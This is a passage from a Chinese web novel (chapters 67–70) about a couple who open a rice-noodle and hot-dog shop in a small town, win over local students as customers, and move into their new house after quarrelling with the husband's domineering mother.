没想到不管是在县城吃过的人,还是没吃过的人,对炒米粉的接受程度都很高,食量远超以往。 宁绍明又让儿子加急去买了一些鲜米粉回来,多做了两大托盘才够吃。 中途甚至还有昨天在他们家买过热狗的学生跑来,看他家开不开门。 昨天宁时秋跟他们说过,今天家里有事,星期天才会开门做生意。 可昨天没买到热狗的人吃不到就一直惦记。 看到这里有那么多人在吃东西,以为真开门了,几个人结伴兴冲冲地跑进来,问多少钱一份,闹了个小小的乌龙。 不过负责招呼亲戚朋友的赵如月也没吝啬这点东西,给他们都分了一份尝尝。 这些可都是消费力很强的潜在客户。 第67章 昨天赵如月见过那些学生买东西时,毫不犹豫掏钱的样子,算是见识到了学生们的购买力。 她觉得自己对镇上消费人群和消费力的判断有一些偏差,对自家店的定位也不太对。 眼光全放在大人们身上,竟然忽略了这些学生。 用固有的思维去判断,下意识认为大人没闲钱、不舍得吃,他们的孩子肯定更没钱。 这个思维其实是错误的,是有对孩子抠搜,不给孩子花钱的家长,但那其实是少数,大部分家长多是宁愿自己苦一点,也要供孩子。 而且不管在哪个年代、哪个地方,特别穷的人和特别富有的人都是少数,普通人才是大多数。 普通人的孩子,就算零花钱不多,他们也是有零花钱的。 尤其是家在街上还要住校的初中生,每周的米饭需要从家里带到学校去,让饭堂统一蒸熟,但是菜和肉都需要跟学校食堂买。 只要不是特别穷,穷到揭不开锅的家庭。 家长每周都会给初中住校的孩子菜钱,有些还会在菜钱之外,多给一些零花钱。 学生们时不时要买点学习用品、要交点资料费什么的,可能还会瞒报,跟家长多拿点。 零零总总的加起来,他们兜里其实挺宽裕,比较贵的东西肯定买不起,但是买点好吃的还是能买得起的。 换做大人,遇到好吃的可能还会考虑一下性价比,孩子就不会想那么多,只要做得足够好吃,他们就会买账。 学生们对绝大部分新事物的接受能力,还比大人们要高得多,要是她家的东西比别人家多一些新意,肯定更能吸引他们。 就算有些人暂时没钱,为了能吃到同学都吃过的东西,甚至会从菜钱里扣一部分出来,攒一攒去买。 昨天那短暂的试营业后,赵如月很快跟宁绍明商量着,把经营的重心往学生偏移,当然其他客人也不会不管。 毕竟初中生只有每个星期五下午和星期日,才能在街上到处逛,学生不能出来的时候,还有集日,还是要靠普通客人挣钱。 晚上正餐那一顿,赵如月看婆婆没来,有些不高兴。 建新房的时候,她不来帮忙就算了,温居酒又不用她做什么重活。 只需要她坐着择菜,然后招呼一下亲戚,跟亲戚嗑嗑瓜子聊聊天,这都不来? 眼看着要吃晚饭了还没见她踪影,赵如月去找宁绍明:“你妈还没来,要不你去看看,她是不是身体不舒服来不了?来不了的话给她端点饭去。” 宁绍明知道怎么回事,老太太惯用的逼他妥协的方法罢了。 “不用去,她八成为昨晚的事生气。” 赵如月无语了:“就因为这?要不答应她算了,反正也花不了多少钱。” 宁绍明说:“不用,你这次依了她,下次呢?” “我们就开张这一次,哪还有下次?” “我是说别的事,你要不信就看着吧,”宁绍明放下锅铲,出去把儿子叫来了,“小秋,你去叫奶奶来吃饭。” 宁绍明知道自己去肯定讨不到好,还是得派儿子去才能把人叫来。 宁时秋骑着自行车回老宅,没多久就载着他奶奶来了。 黄秀华以为宁绍明让小孙子来请自己去吃饭,算是对自己低头了。 一来就开始指指点点,这个菜不行、那个桌子放得不正,反正不经过她指点做的事,总有她能找出来的毛病。 听亲戚们说宁绍明要卖炒米粉和羊汤,更是露出不赞成的表情说:“卖那个怎么成!没见镇上有谁卖过,人家都不知道是什么玩意儿,哪能卖得出去,要我说,应该学学镇上卖得好的店,人家卖什么,也跟着卖什么,没准还能挣点钱。” 明明早些时候,赵如月从县城打包回来,也给她尝过,当时她也觉得好吃,早就知道宁绍明夫妻俩预备卖些什么,一直没提过别的意见,今天就非得贬几句。 宁绍明给赵如月使了个眼色:你看吧,我刚刚说什么来着? 有一件事不合她心意,她就要找茬,以前还好,可能全家都听她的,所以没表现出来。 就显得分家后这种情况尤其严重。 黄秀华趁着亲戚们都在,又跟刚分家那天要求赵如月买家里过年的东西一样,想仗着自己是长辈,对他们开的店提点意见。 “你们卖羊汤不行,羊比猪贵那么多,怎么能挣钱?别到时候把打工挣的那点钱全赔进去,最好跟镇上别的店一样,换成猪棒骨熬的汤。” 她只知道羊汤成本更贵,猪骨汤成本便宜。 完全不管人家煮米粉店熬的猪大骨汤并不单卖,是用来煮米粉,给米粉增加底味的。 他的羊汤可以跟炒米粉一起搭配,也可以单卖,买炒米粉搭配的羊汤是赠送的,是吸引客人的手段。 送的羊汤里面只有葱花、香菜和汤,没有羊杂和羊肉,单卖的有羊杂和羊肉,算单独的菜品。 煮米粉他们家也有,只是汤底也用羊头和羊骨头熬的汤,之所以换羊,就是为了跟镇上别的店区分开来。 也是因为羊比猪贵,让客人觉得他家的米粉成本更高,话同样的钱,会让客人觉得吃他家的更占便宜。 有时候成本高一些也不是没好处。 可是黄秀华不懂,她只想让儿子听自己的话,吃着饭跟亲戚们说半天,又绕回到去找道公、神婆那件事上面了。 宁绍明在男人那桌,赵如月在女人这桌,跟她同桌吃饭,被念得头都大了。 最后只能机械地重复一个意思:这事我说了不算,你们得去找我男人说,这事归他管。 有跟黄秀华一样迷信的亲戚,还真转头去找宁绍明说了。 宁绍明不想妥协,只能做出跟人划拳喝酒很认真的样子,装作听不到她们的话,不然在亲戚朋友面前吵起来可不像样。 黄秀华的目的没达成,吃撑了一肚子肉和菜,还有一肚子气回老宅去了,只当知不知道作为自家人,吃完得帮忙收拾一下碗筷桌子,明天好还回去。 以前什么事她都得在儿媳们面前讲究一下,说老规矩该怎么怎么地。 这自家人,乃至亲近请酒,吃完饭后,别的近亲留下帮忙收拾,也是老规矩,这时候就不讲究老规矩了。 转头别人问起,她说一句自己身子不舒服就能搪塞过去。 赵如月也是服了,早知道吃饭的时候,直接让儿子带点吃的给她送到老宅去,直接跟人说她不舒服拉倒,自己也不用忍受她的念叨了。 不过这些事只要他们不在意、不理会、不被影响,其实除了有点膈应人,也不是什么大事。 最重要的事,还是明天开店。 他们原本不想那么快开,但既然昨天已经卖东西了,就不能休息太久,免得错过商机。 毕竟热狗面包也不是什么很难仿照出来的东西,得趁着别人还没跟风,赶紧赚钱。 明天刚好是星期天,初中生回校的日子,很多学生都是这时候手头最宽裕,错过的话,就又要等一周了。 收拾好东西,再收拾好自己,已经是晚上九点。 两个孩子白天一直在帮忙做力所能及的事,也挺累的。 八点多给他们洗完澡,他们就已经困得睁不开眼,早早睡着了。 赵如月和宁绍明忙了一天也很累,但他们还不能睡,得重新商量一下店里的菜单,还有明天要买的食材。 干米线和干米粉是可以提前买好囤在家里的,他们早就买好了,但明天需要早点起床浸泡干粉。 鲜米粉也预定好了,明天米粉作坊那边会送过来,他们只需要检查一下品质合不合格。 羊暂时用不到一整只,所以先跟镇上卖羊肉的摊子买。 前面几天是试卖,他们打算先买半只羊,加上一些羊杂和羊骨头,看看卖得怎么样,不够再加。 家里暂时买不起冰柜,肉类宁愿少不能多,不然放一晚上就没法用了。 猪肉和猪杂是跟宁绍明大姐家订的,明天她会送过来,猪杂也会帮忙提前收拾干净。 这要是换别人家,可不会这么周到。 炒米粉的其他配菜除了豆芽和洋葱,也就需要再放一样绿叶蔬菜,什么便宜买什么。 不过他们分家时,分到的菜地里还有不少蔬菜,葱花、香菜、生菜、莴笋、油麦菜都有,这些都暂时不用买了。 倒是面粉是临时加上的,家里的昨天都用完了,明天先在镇上买一些顶上,等家里的干米线和干米粉用完,再一起去县城批发,价格更便宜。 还有火腿肠,家里原本买来给孩子吃着玩的,昨天也差不多用光了。 赵如月写到这里,转头问宁绍明:“火腿肠要不要换成热狗肠?” 宁绍明早上起得最早,这会儿困得脑袋有点迟钝了,没反应过来:“什么热狗肠?” “就是我们以前在鹏城的时候,一起去逛公园,你给我买的那种,公园门口卖一块五一根的烤肠。” “那烤肠要一块五一根,成本……” 赵如月起身出去用冷水浸透毛巾,拧干水,进来糊在他脸上搓了一把。 宁绍明的脑子总算稍微清醒了些:“哦,那种热狗肠啊,别人卖得贵,其实批发成本也不高,不过镇上没得买,得去县城批发,等以后去批发面粉和干米粉这些,我们再换吧。” 他顿了顿又说:“其实也不用换,可以多增加一种,让客人选,小孩不都喜欢吃烤肠么,到时候烤肠也可以单买,你觉得怎么样?” 赵如月点头:“我觉得行,要不,明天多买点火腿肠回来,把火腿肠也单卖?” 宁绍明有些犹豫:“我怕来不及,家里烤炉太小,烤馒头就够费劲了。” 说到烤馒头,其实赵如月也有一个担心的事:“我们在门口闺女做的小烤炉上烤,别人学去太容易了。” 要是不让人看见,别人看到被做成面包形状,又被烤得金黄,看起来几乎跟面包没太大区别的烤馒头,没准真以为是面包。 镇上没人会做面包,昨天看到宁绍明烤馒头的人也没几个。 这相当于,无形中给竞争者增加了一个并不存在的技术门槛,这个东西也许还不那么容易被学去跟风卖。 他们也能在镇上做这门独家生意久一点。 第68章 赵如月想,要是家里有个烤箱就好了。 可惜家用烤箱不够大,卖东西的量大,用起来不一定比小烤炉方便多少。 商用烤箱他们又买不起,除非动用那十万块钱。 但她知道宁绍明不愿意。 他不知道以后物价会上涨成什么样,跟现在大部分人一样,以现在的眼光来看,认为那么多钱她自己存着,足以够以后她养老用。 宁绍明毕竟是个厨子,在自己职业范围内遇到的问题,他很快就想到了解决方法。 “我们换个方法,把馒头弄成面包的样子不就好了。” “什么方法?” “用油炸,我可以控制炸制的火候,把馒头炸得跟面包看起来一样。” 以前他找工作的酒店也卖馒头,不过南方人很少吃那种大馒头。 酒店卖的都是小小一个的奶香小馒头,还有炸过的小馒头。 酒店的一盘馒头里,奶香小馒头和炸小馒头各占一半,再给点炼乳,给起个吉利好听的名字,叫金银满盘。 他虽然没炸过大馒头,但炸东西万变不离其宗,明天上手试几个,找到手感就好了。 宁绍明想到了办法,赵如月就放心了:“那明天顺便看看炸馒头一天下来,要用多少油,油消耗得快的话,我们准备用一段时间的油,可能用不了那么久,到时候一起去县城批发。” 正经事说完了,两人躺下后有一搭没搭地说着话,很快就迷迷糊糊地睡了过去。 直到第二天闹钟响起,只响了两秒,就被睡在最外面的宁绍明按掉,以免把孩子也吵醒。 闹钟上显示凌晨四点半,两个孩子要长身体,最好多睡一会儿。 两人起身后轻手轻脚地换好衣服,走出房间才小声说起话来:“我们新家现在几乎闻不到墙上腻子的味道了,进去只有木头味,早点搬进去应该没事,要不然我们以后每天要早起,容易影响孩子们睡觉。” 宁绍明算了算时间:“到五月份,我们的房子也晾了两个多月,要不到五月初搬过去?” 赵如月点头:“劳动节放假,看看到时候忙不忙,要是客人多,就等过了劳动节假期再搬。” 两人商量好就各自忙去了。 早上主要卖羊汤米粉和羊汤米线,那汤首先得熬好。 宁绍明忙厨房里的活,处理羊肉、羊杂、羊骨头、熬汤、腌肉,泡干粉。 有些羊杂和猪杂不好嚼,得先把它们炖得耙一些,再切成小块或者小条状,这样不管是煮还是炒都比较方便。 做完这些他也不能停下来休息,还得揉面蒸馒头,炸馒头、炸火腿肠、炸猪肉片,做蛋黄酱。 不过他们觉得早上买热狗面包的人应该不多,做热狗面包需要用到的东西,可以慢慢来。 宁绍明围着灶台忙活,赵如月就去清洗蔬菜和配菜。 洗干净沥水,该切条的切条,该切段的切段。 分开切好后,整整齐齐地码在托盘里,然后送到厨房灶台旁边的架子上放好。 做完这些她又去擦桌子、摆椅子,把酱油、辣椒酱、醋、纸巾还有一次性筷子摆在每张桌子上。 再检查一下收银台下面抽屉里的零钞,记住每种钱的位置,以便加快找钱的速度。 星期天早上来的人里学生少,她暂时没有准备取餐号码,只能像大排档一样,先自己手写点菜单。 两人各自分工,有条不紊地做着营业前的准备工作。 ………… 从早上五点到六点多,羊汤熬好。 七点多,第一个客人登门,两人才想起第一天正式开张营业,他们还没放开张鞭炮。 要是换成讲究的人,可能还会请舞龙舞狮,不过他们不在意这些,拿了一串鞭炮在门口一放完事。 “你们这店可算开起来了。”第一个来的人也是他们熟悉的人。 就是春节前跟赵如月买过围巾手套的老乡,这次她来身边还跟着一个女孩子,看起来十三四岁的模样。 赵如月笑着说:“建房装修耽误了不少时间,旁边的牌子上贴着菜单和价格,看看想吃点什么?” 老乡识得的字不多,但还是能看懂上面的价格,她看了几眼说道:“还是你这里好,价格都写在明面上,不用总是问,让人问多了不好意思,佳佳,你帮我念念这上面的菜。” 小姑娘背着书包,有些腼腆地站到牌子前面边看边说:“羊肉煮粉、羊杂煮粉、猪肉煮粉、猪杂煮粉,二两的六毛钱一碗,三两的七毛钱一碗。” “羊肉炒粉、羊杂炒粉、猪肉炒粉、猪杂炒粉,二两的八毛钱一碗,三两的九毛钱一碗,送一碗羊汤,热狗面包一块钱一个,炸火腿肠五毛钱一根,羊杂汤和羊肉汤单独买六毛钱一碗。” “加青菜两毛一份,加羊肉、猪肉或者羊杂、猪杂都是五毛钱一份,煎蛋三毛一个,煮粉和炒粉都有圆粉、鲜切粉和米线可以选,就这些了。” 看着菜单好像挺多,其实归类后就三种,煮粉、炒粉和热狗面包。 “热狗面包是啥?竟然卖得比一碗粉还贵。” 赵如月解释道:“就是电视上外国人吃的那种,里面夹着肠和青菜的面包,我们家的还加了肉,所以贵点。” 老乡听了转头问女儿:“闺女你想吃不?想吃给你买一个,老外吃的东西,我吃着不一定合胃口,我还是爱吃米粉。” 她闺女也没吃过,点点头小声说:“想。” 赵如月点点头,然后在自己做的点菜单子上写:‘C①‘。 老乡又问赵如月:“妹子,那个炒粉好吃不。” 赵如月拿出来一个碟子,这是早就准备好给客人尝味道的炒粉。 碟子上面有炒的圆粉、鲜切粉、米线各一点:“我拿点给你尝尝,你觉得好吃再买。” 老乡忙摆手:“这怎么好意思。” 赵如月笑着说:“不用觉得不好意思,镇上没有卖炒粉的店,我们怕大家不知道味道影响生意,就提前准备了一些免费给人先尝尝。” 她这么说,老乡才接过碟子,拿了双一次性筷子,跟女儿一起分着尝了尝。 尝完冲着赵如月直比大拇指:“好吃,真好吃,我就要这个炒粉,要羊肉的二两炒米线,闺女你要不?” 她女儿很想要,但是怕自己吃不完:“我都要热狗面包了,吃不完怎么办?” 老乡说:“这有什么,这炒米粉没有汤,吃不完可以打包带去学校再吃,老板娘,你这里可以打包吧?” 赵如月点头:“可以,我们有打包盒,你们不介意的话,汤也能打包,不过汤的只有塑料袋装。” “那就行了,我们不介意。” 老乡的女儿点了一份二两的猪肉炒米粉,脸上显而易见地更开心了。 “你女儿的那份现在就要吗?”赵如月问她。 赵如月记得初中生一般下午才会回学校,现在还很早,去太早的话,学校估计都没开门,她对老乡说道:“要不你晚点再让她来打包,不然炒米粉放太久也会坨,到时候就没那么好吃了。” 老乡说:“那我提前给你钱,等下午再让我女儿来拿,可以吗?” “可以,我给她预留一份。”赵如月低头继续在点菜单上写:A①、B①,这些都代表菜品的编号,方便书写。 厨房里也贴着一张对照表,方便宁绍明还没记住哪个编号是什么东西时,对照着做。 “一份热狗面包、一份羊肉炒粉、一份猪肉炒粉,需要加什么吗?” 老乡摇头:“不用,就这些了。”买炒米粉还送羊汤,干的、稀的、肉和菜全都有了,不缺什么。 “好的,一共两块二。”赵如月收了钱,撕下单子,转身戳进一个带着钉子的板子上。 那板子摆在取餐窗口的一角,厨房跟收银台只有一墙之隔,取餐窗口就开在这面墙上。 厨房里的人可以听到外面的话,方便收银台没人的时候在里面招呼客人。 收银台有人的时候,厨子就不用走动,一转头就能看到这块板子上的内容,然后按照点菜单子做。 热狗面包是第一个做好的,它材料全都提前准备好,直接拼装就行。 老乡的女儿拿到后,看着比她手掌还大的热狗面包,里面东西还夹得满满当当的,一时间还真不知道该怎么下嘴。 老乡看了一眼,满意地点头:“我就说这家做生意实诚,给的东西真多,一块钱真划算,里面夹的那个火腿肠,上回你小姨结婚,在县城的饭店办酒席,我跟你爸去县城吃席,在人民广场看到有人卖。 好家伙,就这么一根肠,敢卖八毛钱! 还是我们镇上好,东西便宜,一块钱给这么大一个面包,还有菜有肉有肠,真值!” 她闺女掰了一半给她:“妈你也尝尝,我食量小,吃不了一整个。” 老乡推让不过,只好接过来吃。 她一口咬下去,竟然还吃到了煎蛋! 老乡以为厨子给多放东西了,忙转头问赵如月:“老板娘,不是说里面只有炸火腿肠、生菜和猪肉吗?怎么还有煎蛋,是不是放错了?一个煎蛋我给你补三毛钱。” 赵如月正给其他客人点菜,听到她的话抬起头,用店外都能听到的声音说道:“不用补,今天第一天正式开业,每一份都送一个煎蛋,等会儿你点的炒米粉里也有。” 那些煎蛋,大部分都是宁绍明做蛋黄酱剩下的蛋清,再往里加几个全蛋,搅拌后做成的煎蛋。 这样的煎蛋不完整,当全蛋卖他们觉得亏心,干脆就当开业福利送人了。 以后剩下的蛋白,等他们买了打蛋器,可以试着做蛋糕,或者再想想能用来做别的什么东西。 这段时间就先给客人送福利吧。 赵如月话音刚落,老乡的炒米粉也好了。 她去取餐口端出来一看,果然也有一个煎蛋。 于是又点了一份热狗面包和一份炒米粉,说要带回去给家里小的,和她丈夫尝尝。 正在点单以及已经点单,坐在位置上等着吃的客人知道有煎蛋送都很高兴。 有人本来想去别的店打包点包子馒头之类的,回去给家里人吃,这会儿也改变了主意,换成在赵如月家打包。 原本还站在门口犹豫着要不要进来的人,听到送煎蛋也进来了。 一时间,原本还显得有些空荡的店面变得热闹起来。 人气的聚集让店铺的人气更旺。 外面路过的人看这家店里有那么多人吃东西,大概率会觉得这家店的东西应该不差,就更容易被吸引进来了。 第69章 宁时秋和宁时夏睡醒时,发现父母已经不在房间里了。 去年一年里,父母不在家是常态,他们也不慌。 宁时夏迷迷瞪瞪地自己换好衣服,穿上小凉鞋。 宁时秋熟练地给自己和妹妹洗漱好,还给妹妹绑了两个整整齐齐的小辫子。 宁时夏拉开柜子抽屉,拿出两朵皮筋绢纱头花:“哥哥我今天戴这个绿色的。” “你怎么总喜欢这种绿色……”宁时秋一言难尽地看着那两朵丑丑的头花,不是很想往自己妹妹头上戴。 宁时夏就乐意戴这个:“军绿色,多好看,我就要戴这个!” “行吧……”宁时秋拗不过她,只好帮她绑到小辫子上。 两人在老宅简单吃了点早饭,就跑到新家。 看到店里很多人,妈妈忙得连水都没时间喝,他们赶紧去帮忙。 宁时秋帮忙招呼客人,提醒客人取餐,有时候赵如月忙不过来,他也帮忙点单。 宁时夏年纪太小,别的帮不上,就帮忙收拾客人吃完的碗筷。 她还想帮忙洗碗,但小孩子的手太嫩了,泡在水里太久,碰太多洗洁精都不好,赵如月就没让。 一家四口从早上一直忙到中午集市散去,店里的人少了些,赵如月才想起来,自己跟宁绍明一直忙到现在都没吃早饭。 忙着的时候没感觉,稍微一闲下来,立马感觉到饿得烧心、手抖。 趁着人不多,两人抓紧时间把早饭跟午饭一起解决。 赵如月让宁绍明给自己做了一碗羊杂煮米线。 也就是现在,她才第一次吃宁绍明做的羊杂煮米线。 在开店之前,赵如月发现自己竟然没想过,要先试吃一下好不好吃,对宁绍明的手艺有种迷之信任。 好在事实证明,他的手艺确实不错,赵如月还挺喜欢吃的,吃完一碗又续了半碗。 他们家炒粉是一份一份现炒,而不是提前炒一大锅备着。 宁绍明颠了一上午的锅,相当于干了一上午体力活,更是饿得吃了一个热狗面包还不够。 又自己炒了一份猪肉米粉,外加一碗羊杂汤下肚溜溜缝,才感觉整个人活过来了。 “街上的集市最迟1点之后,就散得差不多了,下午应该不会像上午那么忙。” 赵如月的想法跟他一样:“这次是集日碰上学生返校,加上我们还送煎蛋,客人才这么多,以后的生意不一定有今天好。” 普通的集日,生意也会好一些,但是肯定比不上今天。 不是集日的平常日子,生意估计会比普通集日还要更淡一些。 总的来说,他们大概也就是学生放假和返校,也就是周五下午和周日下午。 还有每逢集日的上午比较忙一些,平常的日子不忙,能多休息一点,综合一下应该不至于太累。 要是每天都像今天这样,他们就得考虑请人来帮忙了。 要不然挣钱是真挣钱,累也是真的累得要命。 今天还是有两个孩子帮忙呢,明天他们家孩子也要上学去了。 两人都以为今天下午,就算还有学生来,也不会比上午忙了。 没想到判断出了差错,下午三点多,竟然有一群学生涌来。 赵如月抽空找了个学生一问,才知道这些学生都是初中生,要么买热狗面包,要么想打包一份炒米粉去学校吃。 两种都要的也有不少,打算至少留一份在晚自习之前吃。 那学生告诉她:“我们每次返校,为了能准时到校,晚饭都吃得特别早,学校今天晚上又不开火,只有小卖部开门,回学校还没上晚自习就饿了。 以前都是吃点零食小面包什么的填肚子,可小卖部卖的零食和小面包也不便宜,想要吃饱,没个两三块钱打不住,太不划算了,不如买你家的东西,好吃又顶包,以前也会买包子,可包子都腻了。” 他们有些是听同学介绍,才知道这里有可以打包的米粉, 有些是听之前吃过热狗面包的同学说,热狗面包有多么多么好吃,又说热狗面包是在他们这里买的,就跟着一起来了。 赵如月和宁绍明再次忙得脚打后脑勺,家里的鲜米粉卖没了,热狗面包的材料也没能顶到最后。 这个点米粉作坊也没有米粉卖了。 只能临时煮干米粉和干米线顶上,就是没泡过的干粉不好煮,煮的时候要多花点时间,冷水下锅煮开几分钟,再关火焖个几分钟。 也不能焖超时,要不然米粉就容易断,口感也不好。 这个做法跟早上有些区别,好在学生们也不介意,只要好吃他们就乐意掏钱。 赵如月看着店里乌泱泱的一群少年,她甚至怀疑,这一下午,镇初中的学生是不是都来自己家店里打包米粉了。 原本准备五天用的食材,今天一天就被消耗掉了一半。 好不容易忙完,傍晚关了店,赵如月和宁绍明都顾不上数钱,也没来得及吃饭洗澡,回到老宅的房间,累得倒头就睡着了。 带回来的钱,还是宁时秋带着妹妹帮忙分类好,又扎成了小捆,方便他们醒过来后数钱记账。 今天宁时秋也有一些收入,宁丹萍载的同学更多,宁时秋的收入也翻倍了。 他足足分到两块钱! 赵如月和宁绍明从傍晚六点,一觉睡到晚上九点半。 睡醒起来的时候,又饿得前胸贴后背。 宁绍明起身去厨房找吃的,结果厨房里连一丁点剩饭都没有。 他转身走到米缸前,想着没有剩饭,自己焖饭,放点猪油和酱油,他们吃碗猪油拌饭也行。 结果,自从田地分到各家各户,自负盈亏后,家里没空过的米缸也空荡荡的。 这时候宁绍明察觉出有点不对劲了,再走到一个篮子前,这篮子里平时会用来装明天一早喂鸡的青菜。 现在正值春夏之交,青菜多得吃不完,哪怕是用来喂鸡的青菜都很新鲜,人也能吃。 可这个篮子里也是空荡荡。 宁绍明皱着眉头放下盖子,正要离开厨房。 他妈不知道什么时候来到了他背后,他一转身被吓了一跳:“妈,你怎么走路都没声。” 黄秀华撇撇嘴说:“你们一家子不是早早都去新房那边开火了,怎么还想回来吃我的、喝我的?想吃东西,自己去新房那边做呗!” 人饿着肚子本来就容易烦躁,一听到这阴阳怪气的话,宁绍明就火了:“行,以后我们一家子自己开火。” 黄秀华看他不愿意对自己说好话服软,新怨和旧怨夹杂,冲动之下脱口而出:“你这么有骨气,那干脆别继续住我家,赶紧搬到你们自己家去吧!” 说完母子两个都愣了一下。 宁绍明意识到她在说什么,沉下了脸说:“不用你赶,我们明天就搬出你家老二的房子!” 黄秀华对自己说出口的话有点后悔。 可她转念一想,自己也不是故意的,谁让老三这几天总是不听话! 不知道他这是怎么的,真变得跟个犟种一样。 以前只有涉及到他媳妇儿和孩子的事,他会犟脾气忤逆。 这回竟然连自己为了他们好,才叫他们跟自己去找道公神婆这么重要的事都不听。 自己特地给他的店提点意见,也为他好,她吃过的米比他们吃过的盐都多,难道还能害他不成? 这小子却还是把她的话当做耳边风! 今天店面开业,也不请她这个当妈的去看看,回来更是连她说几句也要计较,跟她发脾气,简直大不孝! 老话说得好,天下无不是的父母,自己是他亲妈,说几句能怎么?不听老人言迟早要吃亏! 她刚才说话不好听,也是让老三气的! 黄秀华越想越觉得自己没错。 宁绍明没带回来饭菜,反而带回来了一肚子气。 只能回房间吃点孩子们的零食,稍微填一下咕咕叫的肚子,然后跟赵如月一起去新家洗澡,顺便做点吃正经吃的把肚子填饱。 简单洗漱过后,他们俩赶紧继续休息。 次日早上起床的时间,依旧跟昨天一样。 赵如月起床后,拿出一块钱放在两个孩子枕边,想了想又各自多给了一块钱,毕竟昨天两个孩子帮了不少忙,也累得够呛。 多给一点就当是奖励了。 今天早上是星期一,走读的小学生早早就要上学,镇上有工作的人也要早起上班。 早上的生意虽然不如昨天,但也依然不错。 再加上他们昨天跟每个客人都说过,今天依然送煎蛋,而且店里东西的味道确实不错,又有热狗面包吸引小孩子。 很多昨天来吃过的人,今天都成了他们家的回头客。 今天他们的预料终于没出错。 不是集日,也不是学生放假或者返校,确实没那么忙了。 两人忙过早上小学生上学,大人过早那一阵之后,从九点半开始,店里就慢慢清闲下来。 只时不时有一两个客人来,宁绍明一个人也能应付。 赵如月则回家收拾他们的东西,昨晚婆婆的话,宁绍明全告诉她了。 不就是提前搬家么,别人不乐意让他们住,那搬就搬呗。 只是以后婆婆也想来他们家住,可没那么容易了。 毕竟分家的时候,也没把以后哪个老人要去哪个儿子家,白纸黑字地写在分家协议里。 到时候可别怪他们推来推去地扯皮。 既然婆婆把老二家当成她自己家,以后就最好能一直住在那里。 她倒要看看,老二夫妻俩会不会乐意,让她一直在那里住着。 第70章 其实他们的东西也不算多,赵如月早就开始慢慢收拾一些不常用的东西打包好。 冬天的衣服和被子、毯子、褥子这些,在天气变暖用不上之后,她已经搬到新家,暂时放在儿子和女儿放假的柜子里。 现在只需要收拾常用的衣服和生活用品,东西收拾起来也很快。 这年头人人衣服都不多,尤其春天和夏天的衣服又比较轻薄,非常好收拾。 她一个人骑着儿子的自行车,搬个两三趟就能搬完。 收拾好这些容易收拾的东西之后,赵如月去了一趟娘家,找她娘家哥哥和堂兄弟们帮忙搬家具。 搬起来最麻烦的东西,也就只有她和宁绍明的床。 还有她陪嫁的那套组合衣柜跟她的梳妆台。 床得拆了搬到新家再重新装上。 组合柜没法拆木板,又是用料很扎实,很沉的实木。 只能两三个男人一起慢慢搬出来,然后搬到拖拉机上,运到新家,再同样慢慢搬到她和宁绍明的房间里。 梳妆台比这两个好搬一些,但是因为带着镜子,也要格外小心,免得镜子被碰碎。 所有东西搬完也才下午两点多。 宁绍明趁店里没客人的时候,提前去买了些肉和菜。 估摸着东西搬完的时间,做了几个硬菜,用来招待赵如月娘家来帮忙搬家的兄弟们。 下午客人本来就少,到三点多的时候,几乎没有了客人。 赵如月和宁绍明干脆挂上闭店休息的牌子,陪着赵如月娘家来帮忙的兄弟吃饭。 席上没人问赵如月和宁绍明为什么突然就搬家了,毕竟家家有本难念的经。 大家吃吃喝喝聊聊天,吃得差不多就散了。 他们临走前,宁绍明把特地留的热狗面包分别打包起来,给他们各带了几个回去给家人孩子吃,也算是道谢。 中途吃到四点半的时候,赵如月去了一趟小学门口。 小学四点半就放学,但她忘了,现在的小学放学后有文体活动。 其实就是让每个班的学生各自派班干部,去体育室拿体育器材,各班自己组织着玩。 有踢毽子、打羽毛球、打乒乓球、篮球、跳绳等等,每个班换着来。 赵如月来到学校门口,看到儿子正跟同学打羽毛球,问了一下门口的保安,才想起来还有这回事。 好在有家长提前来接的话,学生也能提前走。 赵如月想着来都来了,还是提前把孩子接回去吧,省得两个孩子跑回老宅那边,发现房间里什么都没了着急。 宁时秋以前没上过学前班,六岁直接上的一年级。 他上下学有表哥表姐和邻居哥哥姐姐带着,还从来没被家长接送过。 乍然听到他妈妈来接,感觉还挺新奇。 他把自己的拍子交给别的同学,收拾好东西跑去学前班那片区域找妹妹。 学前班的老师不太放心,跟着他们一直到校门口,确认来接孩子的确实是他们的妈妈,才放心把孩子交给她。 宁时夏什么也不懂,只知道妈妈来接让她很开心。 她牵着妈妈的手一个劲地蹦跶。 “妈妈,你以后还来接我们吗?” 看着两个孩子期待的眼神,赵如月想了想说:“哪天店里不忙,我跟你们爸爸就轮流来接你们。” 宁时夏欢呼:“太好啦!” 宁时秋也抿着嘴巴,脸上的笑容很灿烂。 回到新房这边,赵如月让他们去自己收拾房间。 床铺她已经铺好了,大件的东西也归置好。 原先暂时放在他们房间柜子里的冬季厚衣服、被子,全都搬到了她和宁绍明房间的柜子里。 两个孩子只需要按照他们自己的喜好,收拾他们的私人物品。 这对于宁时夏和宁时秋来说都是第一次经历。 两人很兴奋地放下书包,跟舅舅们打了个招呼,就快速跑回自己的房间开始收拾。 赵如月也不管他们收拾成什么样,房间乱不乱。 反正他们喜欢并且以后自己能找到自己的东西就行。 两个孩子把这当成了游戏,玩得废寝忘食。 以前宁时秋一回家,肯定先把老师留的作业写完,同时监督妹妹也把作业写完,然后才会去跟朋友玩。 今天连他也完全忘了还有作业。 直到赵如月眼看着天越来越黑,两个孩子还想不起来吃饭,进他俩房间里,把他们逮出来,他们才意识到自己已经饿了。 “真好玩!”宁时夏吃着饭时,还意犹未尽地说,“我们明天还能收拾屋子吗?” 赵如月被她这话逗得忍俊不禁:“今晚开始,你们就住在自己的房间,不止明天,后天、大后天,你们想怎么收拾就怎么收拾。” 宁时秋惊讶道:“妈妈,我们搬家了吗?” “你们妈妈在回来的路上,没跟你们说?”宁绍明看向赵如月,他还以为她说了,两个孩子才这么高兴呢。 赵如月还真忘记说了,不过现在说也来得及:“从今天开始,我们就正式搬到新家,以前住的房子分家的时候,你们爷爷奶奶分给了你们二伯家,以后那就是你们二伯的房子了。” 她说完有些紧张地看着两个孩子的反应,担心他们对以前的房间有感情,会因此而难过。 可对于孩子来说,不管是新房子还是旧房子,只有父母在的房子才是他们的家,才会让他们有归属感。 两个孩子从家里开始建新房子起,早就做好了会搬家的心理准备。 听完她的话后,他们开心地欢呼起来。 赵如月看着他们开心的样子,知道自己的担心完全多余了。 吃完饭,宁时秋终于想起自己还有作业没写。 他一把拽住吃饱就要飞奔回房间,想继续捣鼓自己房间的妹妹:“先写作业。” 赵如月见状担心了一下,怕女儿生气,两个孩子闹起来。 结果女儿一点也没生气,乖乖地点头跟哥哥一起写作业去了。 因为要一起写作业,两个孩子没去他们自己的房间,一起去了书房。 